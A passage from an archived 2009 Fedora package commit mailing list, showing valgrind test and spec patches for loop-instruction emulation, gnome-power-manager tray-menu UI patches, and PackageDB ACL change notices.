       cond = binop(Iop_CmpNE64, count, mkU64(0));
--- valgrind/none/tests/amd64/loopnel.c.jj	2009-10-22 09:42:36.000000000 +0200
+++ valgrind/none/tests/amd64/loopnel.c	2009-10-22 09:43:07.000000000 +0200
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+int
+main (void)
+{
+  long rcx = 0x200000005UL;
+  long rax = 5UL;
+  asm volatile ("1: addq $1, %0; loopnel 1b" : "+a" (rax), "+c" (rcx) : : "cc");
+  printf ("%ld %ld\n", rax, rcx);
+  return 0;
+}
--- valgrind/none/tests/amd64/loopnel.vgtest.jj	2009-10-22 09:43:54.000000000 +0200
+++ valgrind/none/tests/amd64/loopnel.vgtest	2009-10-22 09:43:59.000000000 +0200
@@ -0,0 +1 @@
+prog: loopnel
--- valgrind/none/tests/amd64/loopnel.stdout.exp.jj	2009-10-22 09:43:28.000000000 +0200
+++ valgrind/none/tests/amd64/loopnel.stdout.exp	2009-10-22 09:43:24.000000000 +0200
@@ -0,0 +1 @@
+10 0
--- valgrind/none/tests/amd64/loopnel.stderr.exp.jj	2009-10-22 09:43:40.000000000 +0200
+++ valgrind/none/tests/amd64/loopnel.stderr.exp	2009-08-19 15:37:15.000000000 +0200
@@ -0,0 +1,2 @@
+
+
--- valgrind/none/tests/amd64/Makefile.am.jj	2009-08-19 15:37:15.000000000 +0200
+++ valgrind/none/tests/amd64/Makefile.am	2009-10-22 09:44:53.000000000 +0200
@@ -37,6 +37,7 @@ EXTRA_DIST = \
 	insn_ssse3.stdout.exp insn_ssse3.stderr.exp insn_ssse3.vgtest \
 	jrcxz.stderr.exp jrcxz.stdout.exp jrcxz.vgtest \
 	looper.stderr.exp looper.stdout.exp looper.vgtest \
+	loopnel.stderr.exp loopnel.stdout.exp loopnel.vgtest \
 	nibz_bennee_mmap.stderr.exp nibz_bennee_mmap.stdout.exp \
 	nibz_bennee_mmap.vgtest \
 	rcl-amd64.vgtest rcl-amd64.stdout.exp rcl-amd64.stderr.exp \
@@ -72,6 +73,7 @@ if ! VGCONF_OS_IS_DARWIN
 	fcmovnu \
 	fxtract \
 	looper \
+	loopnel \
 	jrcxz \
 	shrld \
 	slahf-amd64
--- valgrind/none/tests/amd64/Makefile.in.jj	2009-08-19 15:43:22.000000000 +0200
+++ valgrind/none/tests/amd64/Makefile.in	2009-10-22 09:46:44.000000000 +0200
@@ -65,6 +65,7 @@ check_PROGRAMS = amd64locked$(EXEEXT) bu
 @VGCONF_OS_IS_DARWIN_FALSE@	fcmovnu \
 @VGCONF_OS_IS_DARWIN_FALSE@	fxtract \
 @VGCONF_OS_IS_DARWIN_FALSE@	looper \
+ at VGCONF_OS_IS_DARWIN_FALSE@	loopnel \
 @VGCONF_OS_IS_DARWIN_FALSE@	jrcxz \
 @VGCONF_OS_IS_DARWIN_FALSE@	shrld \
 @VGCONF_OS_IS_DARWIN_FALSE@	slahf-amd64
@@ -87,8 +88,9 @@ am__EXEEXT_3 = insn_basic$(EXEEXT) insn_
 @VGCONF_OS_IS_DARWIN_FALSE@	bug156404-amd64$(EXEEXT) \
 @VGCONF_OS_IS_DARWIN_FALSE@	faultstatus$(EXEEXT) \
 @VGCONF_OS_IS_DARWIN_FALSE@	fcmovnu$(EXEEXT) fxtract$(EXEEXT) \
- at VGCONF_OS_IS_DARWIN_FALSE@	looper$(EXEEXT) jrcxz$(EXEEXT) \
- at VGCONF_OS_IS_DARWIN_FALSE@	shrld$(EXEEXT) slahf-amd64$(EXEEXT)
+ at VGCONF_OS_IS_DARWIN_FALSE@	looper$(EXEEXT) loopnel$(EXEEXT) \
+ at VGCONF_OS_IS_DARWIN_FALSE@	jrcxz$(EXEEXT) shrld$(EXEEXT) \
+ at VGCONF_OS_IS_DARWIN_FALSE@	slahf-amd64$(EXEEXT)
 amd64locked_SOURCES = amd64locked.c
 amd64locked_OBJECTS = amd64locked-amd64locked.$(OBJEXT)
 amd64locked_LDADD = $(LDADD)
@@ -146,6 +148,9 @@ jrcxz_LDADD = $(LDADD)
 looper_SOURCES = looper.c
 looper_OBJECTS = looper.$(OBJEXT)
 looper_LDADD = $(LDADD)
+loopnel = loopnel.c
+loopnel_OBJECTS = loopnel.$(OBJEXT)
+loopnel_LDADD = $(LDADD)
 nibz_bennee_mmap_SOURCES = nibz_bennee_mmap.c
 nibz_bennee_mmap_OBJECTS = nibz_bennee_mmap.$(OBJEXT)
 nibz_bennee_mmap_LDADD = $(LDADD)
@@ -180,16 +185,16 @@ SOURCES = amd64locked.c bug127521-64.c b
 	fcmovnu.c fxtract.c $(insn_basic_SOURCES) $(insn_fpu_SOURCES) \
 	$(insn_mmx_SOURCES) $(insn_sse_SOURCES) $(insn_sse2_SOURCES) \
 	$(insn_sse3_SOURCES) $(insn_ssse3_SOURCES) jrcxz.c looper.c \
-	nibz_bennee_mmap.c rcl-amd64.c redundantRexW.c shrld.c \
-	slahf-amd64.c smc1.c ssse3_misaligned.c
+	loopnel.c nibz_bennee_mmap.c rcl-amd64.c redundantRexW.c \
+	shrld.c slahf-amd64.c smc1.c ssse3_misaligned.c
 DIST_SOURCES = amd64locked.c bug127521-64.c bug132813-amd64.c \
 	bug132918.c bug137714-amd64.c bug156404-amd64.c clc.c \
 	faultstatus.c fcmovnu.c fxtract.c $(insn_basic_SOURCES) \
 	$(insn_fpu_SOURCES) $(insn_mmx_SOURCES) $(insn_sse_SOURCES) \
 	$(insn_sse2_SOURCES) $(insn_sse3_SOURCES) \
-	$(insn_ssse3_SOURCES) jrcxz.c looper.c nibz_bennee_mmap.c \
-	rcl-amd64.c redundantRexW.c shrld.c slahf-amd64.c smc1.c \
-	ssse3_misaligned.c
+	$(insn_ssse3_SOURCES) jrcxz.c looper.c loopnel.c \
+	nibz_bennee_mmap.c rcl-amd64.c redundantRexW.c shrld.c \
+	slahf-amd64.c smc1.c ssse3_misaligned.c
 ETAGS = etags
 CTAGS = ctags
 DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
@@ -536,6 +541,7 @@ EXTRA_DIST = \
 	insn_ssse3.stdout.exp insn_ssse3.stderr.exp insn_ssse3.vgtest \
 	jrcxz.stderr.exp jrcxz.stdout.exp jrcxz.vgtest \
 	looper.stderr.exp looper.stdout.exp looper.vgtest \
+	loopnel.stderr.exp loopnel.stdout.exp loopnel.vgtest \
 	nibz_bennee_mmap.stderr.exp nibz_bennee_mmap.stdout.exp \
 	nibz_bennee_mmap.vgtest \
 	rcl-amd64.vgtest rcl-amd64.stdout.exp rcl-amd64.stderr.exp \
@@ -661,6 +667,9 @@ jrcxz$(EXEEXT): $(jrcxz_OBJECTS) $(jrcxz
 looper$(EXEEXT): $(looper_OBJECTS) $(looper_DEPENDENCIES) 
 	@rm -f looper$(EXEEXT)
 	$(LINK) $(looper_LDFLAGS) $(looper_OBJECTS) $(looper_LDADD) $(LIBS)
+loopnel$(EXEEXT): $(loopnel_OBJECTS) $(loopnel_DEPENDENCIES) 
+	@rm -f loopnel$(EXEEXT)
+	$(LINK) $(loopnel_LDFLAGS) $(loopnel_OBJECTS) $(loopnel_LDADD) $(LIBS)
 nibz_bennee_mmap$(EXEEXT): $(nibz_bennee_mmap_OBJECTS) $(nibz_bennee_mmap_DEPENDENCIES) 
 	@rm -f nibz_bennee_mmap$(EXEEXT)
 	$(LINK) $(nibz_bennee_mmap_LDFLAGS) $(nibz_bennee_mmap_OBJECTS) $(nibz_bennee_mmap_LDADD) $(LIBS)
@@ -708,6 +717,7 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/insn_ssse3.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/jrcxz.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/looper.Po at am__quote@
+ at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/loopnel.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/nibz_bennee_mmap.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/rcl-amd64.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/redundantRexW.Po at am__quote@

valgrind-3.5.0-ppc-tests.patch:
 ppc32/jm-insns.c |    8 ++++----
 ppc64/jm-insns.c |    8 ++++----
 2 files changed, 8 insertions(+), 8 deletions(-)

Index: valgrind-3.5.0-ppc-tests.patch
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind-3.5.0-ppc-tests.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- valgrind-3.5.0-ppc-tests.patch	21 Oct 2009 14:54:08 -0000	1.1
+++ valgrind-3.5.0-ppc-tests.patch	22 Oct 2009 08:16:26 -0000	1.2
@@ -15,3 +15,20 @@
  register HWord_t r14 __asm__ ("r14");
  register HWord_t r15 __asm__ ("r15");
  register HWord_t r16 __asm__ ("r16");
+--- valgrind/none/tests/ppc64/jm-insns.c.jj	2009-10-09 12:52:01.000000000 +0200
++++ valgrind/none/tests/ppc64/jm-insns.c	2009-10-20 17:25:32.000000000 +0200
+@@ -210,10 +210,10 @@ typedef uint64_t  HWord_t;
+ 
+ 
+ /* XXXX these must all be callee-save regs! */
+-register double f14 __asm__ ("f14");
+-register double f15 __asm__ ("f15");
+-register double f16 __asm__ ("f16");
+-register double f17 __asm__ ("f17");
++register double f14 __asm__ ("46");
++register double f15 __asm__ ("47");
++register double f16 __asm__ ("48");
++register double f17 __asm__ ("49");
+ register HWord_t r14 __asm__ ("r14");
+ register HWord_t r15 __asm__ ("r15");
+ register HWord_t r16 __asm__ ("r16");


Index: valgrind.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind.spec,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- valgrind.spec	21 Oct 2009 14:54:08 -0000	1.70
+++ valgrind.spec	22 Oct 2009 08:16:26 -0000	1.71
@@ -1,7 +1,7 @@
 Summary: Tool for finding memory management bugs in programs
 Name: valgrind
 Version: 3.5.0
-Release: 4
+Release: 5
 Epoch: 1
 Source0: http://www.valgrind.org/downloads/valgrind-%{version}.tar.bz2
 Patch1: valgrind-3.5.0-cachegrind-improvements.patch
@@ -14,6 +14,7 @@ Patch7: valgrind-3.5.0-dwarf3.patch
 Patch8: valgrind-3.5.0-pr40659.patch
 Patch9: valgrind-3.5.0-helgrind-race-supp.patch
 Patch10: valgrind-3.5.0-ppc-tests.patch
+Patch11: valgrind-3.5.0-amd64-loopnel.patch
 License: GPLv2
 URL: http://www.valgrind.org/
 Group: Development/Debuggers
@@ -77,6 +78,7 @@ or valgrind plugins.
 %patch8 -p1
 %patch9 -p1
 %patch10 -p1
+%patch11 -p1
 
 %build
 %ifarch x86_64 ppc64
@@ -162,6 +164,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Thu Oct 22 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-5
+- add emulation of 0x67 prefixed loop* insns on x86_64 (#530165)
+
 * Wed Oct 21 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-4
 - handle reading of .debug_frame in addition to .eh_frame
 - ignore unknown DWARF3 expressions in evaluate_trivial_GX



From rhughes at fedoraproject.org  Thu Oct 22 08:27:17 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Thu, 22 Oct 2009 08:27:17 +0000 (UTC)
Subject: rpms/gnome-power-manager/F-12
	0001-Do-not-show-About-and-Help-menu-items-on-the-panel-i.patch, NONE,
	1.1 0002-Make-the-left-and-right-buttons-on-the-status-icon-b.patch, 
	NONE, 1.1 gnome-power-manager.spec, 1.177, 1.178
Message-ID: <20091022082717.D7C2511C008C@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/gnome-power-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13455

Modified Files:
	gnome-power-manager.spec 
Added Files:
	0001-Do-not-show-About-and-Help-menu-items-on-the-panel-i.patch 
	0002-Make-the-left-and-right-buttons-on-the-status-icon-b.patch 
Log Message:
* Thu Oct 22 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-2
- Backport two patches from git master to polish the UI for F12.


0001-Do-not-show-About-and-Help-menu-items-on-the-panel-i.patch:
 gpm-tray-icon.c |   92 --------------------------------------------------------
 1 file changed, 92 deletions(-)

--- NEW FILE 0001-Do-not-show-About-and-Help-menu-items-on-the-panel-i.patch ---
>From fd51095da94ce4043126893d28663dd729af83fc Mon Sep 17 00:00:00 2001
From: Richard Hughes <richard at hughsie.com>
Date: Thu, 22 Oct 2009 09:12:16 +0100
Subject: [PATCH 1/2] Do not show 'About' and 'Help' menu items on the panel icon

---
 src/gpm-tray-icon.c |   91 ---------------------------------------------------
 1 files changed, 0 insertions(+), 91 deletions(-)

diff --git a/src/gpm-tray-icon.c b/src/gpm-tray-icon.c
index b90ecbe..65e8e0b 100644
--- a/src/gpm-tray-icon.c
+++ b/src/gpm-tray-icon.c
@@ -283,77 +283,6 @@ gpm_tray_icon_show_preferences_cb (GtkMenuItem *item, gpointer data)
 }
 
 /**
- * gpm_tray_icon_show_help_cb:
- * @action: A valid GtkAction
- **/
-static void
-gpm_tray_icon_show_help_cb (GtkMenuItem *item, gpointer data)
-{
-	gpm_help_display (NULL);
-}
-
-/**
- * gpm_tray_icon_show_about_cb:
- * @action: A valid GtkAction
- **/
-static void
-gpm_tray_icon_show_about_cb (GtkMenuItem *item, gpointer data)
-{
-	const char *authors[] = {
-		"Richard Hughes <richard at hughsie.com>",
-		"William Jon McCann <mccann at jhu.edu>",
-		"Jaap A. Haitsma <jaap at haitsma.org>",
-		NULL};
-	const char *documenters[] = {
-		"Richard Hughes <richard at hughsie.com>",
-		NULL};
-	const char *artists[] = {
-		"Diana Fong <dfong at redhat.com>",
-		"Jakub Steiner <jimmac at ximian.com>",
-		NULL};
-	const char *license[] = {
-		N_("Licensed under the GNU General Public License Version 2"),
-		N_("Power Manager is free software; you can redistribute it and/or\n"
-		   "modify it under the terms of the GNU General Public License\n"
-		   "as published by the Free Software Foundation; either version 2\n"
-		   "of the License, or (at your option) any later version."),
-		N_("Power Manager is distributed in the hope that it will be useful,\n"
-		   "but WITHOUT ANY WARRANTY; without even the implied warranty of\n"
-		   "MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n"
-		   "GNU General Public License for more details."),
-		N_("You should have received a copy of the GNU General Public License\n"
-		   "along with this program; if not, write to the Free Software\n"
-		   "Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n"
-		   "02110-1301, USA.")
-	};
-  	const char  *translators = _("translator-credits");
-	char	    *license_trans;
-
-	/* Translators comment: put your own name here to appear in the about dialog. */
-  	if (!strcmp (translators, "translator-credits"))
-		translators = NULL;
-
-	license_trans = g_strconcat (_(license[0]), "\n\n", _(license[1]), "\n\n",
-				     _(license[2]), "\n\n", _(license[3]), "\n",  NULL);
-
-	gtk_window_set_default_icon_name (GPM_STOCK_APP_ICON);
-	gtk_show_about_dialog (NULL,
-			       "version", VERSION,
-			       "copyright", "Copyright \xc2\xa9 2005-2007 Richard Hughes",
-			       "license", license_trans,
-			       "website-label", _("GNOME Power Manager Website"),
-			       "website", GPM_HOMEPAGE_URL,
-			       "comments", GPM_DESCRIPTION,
-			       "authors", authors,
-			       "documenters", documenters,
-			       "artists", artists,
-			       "translator-credits", translators,
-			       "logo-icon-name", GPM_STOCK_APP_ICON,
-			       NULL);
-	g_free (license_trans);
-}
-
-/**
  * gpm_tray_icon_popup_cleared_cd:
  * @widget: The popup Gtkwidget
  *
@@ -439,26 +368,6 @@ gpm_tray_icon_popup_menu_cb (GtkStatusIcon *status_icon, guint button, guint32 t
 		gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
 	}
 
-	/* separator for HIG */
-	item = gtk_separator_menu_item_new ();
-	gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
-
-	/* help */
-	item = gtk_image_menu_item_new_with_mnemonic (_("_Help"));
-	image = gtk_image_new_from_icon_name (GTK_STOCK_HELP, GTK_ICON_SIZE_MENU);
-	gtk_image_menu_item_set_image (GTK_IMAGE_MENU_ITEM (item), image);
-	g_signal_connect (G_OBJECT (item), "activate",
-			  G_CALLBACK (gpm_tray_icon_show_help_cb), icon);
-	gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
-
-	/* about */
-	item = gtk_image_menu_item_new_with_mnemonic (_("_About"));
-	image = gtk_image_new_from_icon_name (GTK_STOCK_ABOUT, GTK_ICON_SIZE_MENU);
-	gtk_image_menu_item_set_image (GTK_IMAGE_MENU_ITEM (item), image);
-	g_signal_connect (G_OBJECT (item), "activate",
-			  G_CALLBACK (gpm_tray_icon_show_about_cb), icon);
-	gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
-
 	/* show the menu */
 	gtk_widget_show_all (GTK_WIDGET (menu));
 	gtk_menu_popup (GTK_MENU (menu), NULL, NULL,
-- 
1.6.5.rc2


0002-Make-the-left-and-right-buttons-on-the-status-icon-b.patch:
 gpm-tray-icon.c |  103 +++++++++++++++++++++++---------------------------------
 1 file changed, 44 insertions(+), 59 deletions(-)

--- NEW FILE 0002-Make-the-left-and-right-buttons-on-the-status-icon-b.patch ---
>From ab519b6aad73e9b0d738d4ddb0ee2cd3774b5884 Mon Sep 17 00:00:00 2001
From: Richard Hughes <richard at hughsie.com>
Date: Thu, 22 Oct 2009 09:20:42 +0100
Subject: [PATCH 2/2] Make the left and right buttons on the status icon bring up the same menu, UI copied from git master

---
 src/gpm-tray-icon.c |  102 ++++++++++++++++++++++-----------------------------
 1 files changed, 44 insertions(+), 58 deletions(-)

diff --git a/src/gpm-tray-icon.c b/src/gpm-tray-icon.c
index 65e8e0b..96bf8cc 100644
--- a/src/gpm-tray-icon.c
+++ b/src/gpm-tray-icon.c
@@ -326,6 +326,9 @@ gpm_tray_icon_class_init (GpmTrayIconClass *klass)
 			      0);
 }
 
+/* prototype to avoid moving a huge function and bloating the patch */
+static guint gpm_tray_icon_add_device (GpmTrayIcon *icon, GtkMenu *menu, const GPtrArray *array, DkpDeviceType type);
+
 /**
  * gpm_tray_icon_popup_menu_cb:
  *
@@ -339,11 +342,47 @@ gpm_tray_icon_popup_menu_cb (GtkStatusIcon *status_icon, guint button, guint32 t
 	GtkWidget *image;
 	gchar *path;
 	gboolean ret;
+	guint dev_cnt = 0;
+	GPtrArray *array;
 
-	egg_debug ("icon right clicked");
+	/* add all device types to the drop down menu */
+	array = gpm_engine_get_devices (icon->priv->engine);
+	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_BATTERY);
+	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_UPS);
+	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_MOUSE);
+	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_KEYBOARD);
+	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_PDA);
+	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_PHONE);
+	g_ptr_array_unref (array);
+
+	/* only do the seporator if we have at least one device and can do an action */
+	if (dev_cnt != 0 && (icon->priv->show_suspend || icon->priv->show_hibernate || icon->priv->show_context_menu)) {
+		item = gtk_separator_menu_item_new ();
+		gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
+	}
+
+	/* Suspend if available */
+	if (icon->priv->show_suspend) {
+		item = gtk_image_menu_item_new_with_mnemonic (_("_Suspend"));
+		image = gtk_image_new_from_icon_name (GPM_STOCK_SUSPEND, GTK_ICON_SIZE_MENU);
+		gtk_image_menu_item_set_image (GTK_IMAGE_MENU_ITEM (item), image);
+		g_signal_connect (G_OBJECT (item), "activate",
+				  G_CALLBACK (gpm_tray_icon_suspend_cb), icon);
+		gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
+	}
+
+	/* Hibernate if available */
+	if (icon->priv->show_hibernate) {
+		item = gtk_image_menu_item_new_with_mnemonic (_("Hi_bernate"));
+		image = gtk_image_new_from_icon_name (GPM_STOCK_HIBERNATE, GTK_ICON_SIZE_MENU);
+		gtk_image_menu_item_set_image (GTK_IMAGE_MENU_ITEM (item), image);
+		g_signal_connect (G_OBJECT (item), "activate",
+				  G_CALLBACK (gpm_tray_icon_hibernate_cb), icon);
+		gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
+	}
 
 	if (!icon->priv->show_context_menu)
-		return;
+		goto show;
 
 	/* preferences */
 	item = gtk_image_menu_item_new_with_mnemonic (_("_Preferences"));
@@ -367,7 +406,7 @@ gpm_tray_icon_popup_menu_cb (GtkStatusIcon *status_icon, guint button, guint32 t
 				  G_CALLBACK (gpm_tray_icon_show_statistics_cb), icon);
 		gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
 	}
-
+show:
 	/* show the menu */
 	gtk_widget_show_all (GTK_WIDGET (menu));
 	gtk_menu_popup (GTK_MENU (menu), NULL, NULL,
@@ -446,61 +485,8 @@ gpm_tray_icon_add_device (GpmTrayIcon *icon, GtkMenu *menu, const GPtrArray *arr
 static void
 gpm_tray_icon_activate_cb (GtkStatusIcon *status_icon, GpmTrayIcon *icon)
 {
-	GtkMenu *menu = (GtkMenu*) gtk_menu_new ();
-	GtkWidget *item;
-	GtkWidget *image;
-	guint dev_cnt = 0;
-	GPtrArray *array;
-	egg_debug ("icon left clicked");
-
-	/* add all device types to the drop down menu */
-	array = gpm_engine_get_devices (icon->priv->engine);
-	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_BATTERY);
-	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_UPS);
-	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_MOUSE);
-	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_KEYBOARD);
-	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_PDA);
-	dev_cnt += gpm_tray_icon_add_device (icon, menu, array, DKP_DEVICE_TYPE_PHONE);
-	g_ptr_array_unref (array);
-
-	/* nothing to display! */
-	if (dev_cnt == 0 && !icon->priv->show_suspend && !icon->priv->show_hibernate)
-		return;
-
-	/* only do the seporator if we have at least one device and can do an action */
-	if (dev_cnt != 0 && (icon->priv->show_suspend || icon->priv->show_hibernate)) {
-		item = gtk_separator_menu_item_new ();
-		gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
-	}
-
-	/* Suspend if available */
-	if (icon->priv->show_suspend) {
-		item = gtk_image_menu_item_new_with_mnemonic (_("_Suspend"));
-		image = gtk_image_new_from_icon_name (GPM_STOCK_SUSPEND, GTK_ICON_SIZE_MENU);
-		gtk_image_menu_item_set_image (GTK_IMAGE_MENU_ITEM (item), image);
-		g_signal_connect (G_OBJECT (item), "activate",
-				  G_CALLBACK (gpm_tray_icon_suspend_cb), icon);
-		gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
-	}
-
-	/* Hibernate if available */
-	if (icon->priv->show_hibernate) {
-		item = gtk_image_menu_item_new_with_mnemonic (_("Hi_bernate"));
-		image = gtk_image_new_from_icon_name (GPM_STOCK_HIBERNATE, GTK_ICON_SIZE_MENU);
-		gtk_image_menu_item_set_image (GTK_IMAGE_MENU_ITEM (item), image);
-		g_signal_connect (G_OBJECT (item), "activate",
-				  G_CALLBACK (gpm_tray_icon_hibernate_cb), icon);
-		gtk_menu_shell_append (GTK_MENU_SHELL (menu), item);
-	}
-
-	/* show the menu */
-	gtk_widget_show_all (GTK_WIDGET (menu));
-	gtk_menu_popup (GTK_MENU (menu), NULL, NULL,
-			gtk_status_icon_position_menu, status_icon,
-			1, gtk_get_current_event_time());
-
-	g_signal_connect (GTK_WIDGET (menu), "hide",
-			  G_CALLBACK (gpm_tray_icon_popup_cleared_cd), icon);
+	/* fake this (coming from a left click, now) */
+	gpm_tray_icon_popup_menu_cb (status_icon, 1, gtk_get_current_event_time(), icon);
 }
 
 /**
-- 
1.6.5.rc2



Index: gnome-power-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/gnome-power-manager.spec,v
retrieving revision 1.177
retrieving revision 1.178
diff -u -p -r1.177 -r1.178
--- gnome-power-manager.spec	19 Oct 2009 10:32:07 -0000	1.177
+++ gnome-power-manager.spec	22 Oct 2009 08:27:17 -0000	1.178
@@ -5,7 +5,7 @@
 Summary: GNOME power management service
 Name: gnome-power-manager
 Version: 2.28.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 #Release: 0.5.%{?alphatag}git%{?dist}
 License: GPLv2+ and GFDL
 Group: Applications/System
@@ -15,6 +15,12 @@ Source: http://download.gnome.org/source
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL: http://projects.gnome.org/gnome-power-manager/
 
+# Fedora-specific backport, already same UI in git master
+Patch1: 0001-Do-not-show-About-and-Help-menu-items-on-the-panel-i.patch
+
+# Fedora-specific backport, already same UI in git master
+Patch2: 0002-Make-the-left-and-right-buttons-on-the-status-icon-b.patch
+
 BuildRequires: libwnck-devel
 BuildRequires: hal-devel >= %{hal_version}
 BuildRequires: dbus-devel >= %{dbus_version}
@@ -62,6 +68,8 @@ Extra GNOME power management application
 %prep
 %setup -q
 #%setup -q -n %{?name}-%{?version}-%{?alphatag}
+%patch1 -p1 -b .remove-help
+%patch2 -p1 -b .uni-menu
 
 %build
 %configure \
@@ -180,6 +188,9 @@ fi
 %{_datadir}/icons/hicolor/*/apps/gnome-inhibit-applet.*
 
 %changelog
+* Thu Oct 22 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-2
+- Backport two patches from git master to polish the UI for F12.
+
 * Mon Oct 19 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-1
 - Update to 2.28.1
 - Translation updates



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:19 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082820.0B3CE10F85F@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchbugzilla acl on system-config-cluster (Fedora devel) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:20 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082821.14BE110F891@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchcommits acl on system-config-cluster (Fedora devel) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:23 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082823.97ABE10F895@bastion2.fedora.phx.redhat.com>

swhiteho has set the commit acl on system-config-cluster (Fedora devel) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:24 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082824.F3E3710F8AC@bastion2.fedora.phx.redhat.com>

swhiteho has set the approveacls acl on system-config-cluster (Fedora devel) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:45 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082845.A80B510F891@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchbugzilla acl on system-config-cluster (Fedora 10) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:46 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082846.5070A10F8A2@bastion2.fedora.phx.redhat.com>

swhiteho has set the watchcommits acl on system-config-cluster (Fedora 10) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:47 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082848.113F110F8B0@bastion2.fedora.phx.redhat.com>

swhiteho has set the commit acl on system-config-cluster (Fedora 10) to Approved for rmccabe

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Thu Oct 22 08:28:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 08:28:50 +0000
Subject: [pkgdb] system-config-cluster had acl change status
Message-ID: <20091022082851.3724510F8B2@bastion2.fedora.phx.redhat.com>

swhiteho has set the approveacls acl on system-config-cluster (Fedora 10) to Approved for rmccabe

To make changes to this package see:
